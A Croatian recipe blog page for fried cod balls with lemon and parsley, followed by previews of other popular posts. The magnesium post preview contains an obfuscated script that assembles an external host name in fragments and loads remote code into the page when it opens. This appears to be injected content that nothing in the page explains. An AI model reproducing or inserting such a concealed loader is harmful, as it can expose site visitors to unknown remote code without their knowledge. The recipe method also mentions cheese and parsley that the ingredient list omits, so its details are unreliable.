OKRUGLICE OD BAKALARA S LIMUNOM I PERŠINOM 🍋




Okruglice od bakalara s limunom i peršinom 



Ako ste u potrazi za idejom kako pripremiti bakalar na malo drugačiji način, donosimo recept koji bi vas mogao ugodno iznenaditi. Riječ je o hrskavim okruglicama od bakalara koje spajaju bogat okus ove omiljene ribe sa svježinom peršina i limuna. Odlično se slažu s blitvom i krumpirom, pečenim krumpirićima ili sezonskom salatom.





Okruglice od bakalara s limunom i peršinom 



Sastojci:

Za okruglice:

700 ml ulja za prženje
300 g bakalara na bijelo
2 žlice krušnih mrvica
1 žličica naribane korice limuna
1 manje jaje
1 češanj češnjaka, sitno nariban
svježe mljeveni papar


Za pohanje:

100 g panko mrvica ili običnih krušnih mrvica
50 g glatkog brašna
2 jaja


Za posluživanje:

kriške limuna
svježi peršin
tartar umak ili umak od jogurta



Priprema:

Bakalar na bijelo stavite u veću zdjelu. Dodajte jaje, peršin, češnjak, limunovu koricu, krušne mrvice, sir i papar. Sve dobro izmiješajte dok ne dobijete kompaktnu smjesu. Ako je smjesa premekana, dodajte još malo krušnih mrvica a ako je pretvrda, umiješajte žlicu mlijeka. Smjesu pokrijte i ostavite u hladnjaku 20–30 minuta. Tako će se okruglice lakše oblikovati i neće se raspadati tijekom prženja.

Navlaženim rukama oblikujte kuglice veličine oraha. Svaku okruglicu uvaljajte najprije u brašno, zatim u razmućena jaja, a na kraju u panko mrvice. Zagrijte ulje na 170–180 °C. Pržite okruglice u manjim serijama 3–4 minute, dok ne postanu ravnomjerno zlatno-smeđe i hrskave. Izvadite ih i stavite na kuhinjski papir. Poslužite odmah dok su vruće i hrskave, uz kriške limuna, svježi peršin i omiljeni umak.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više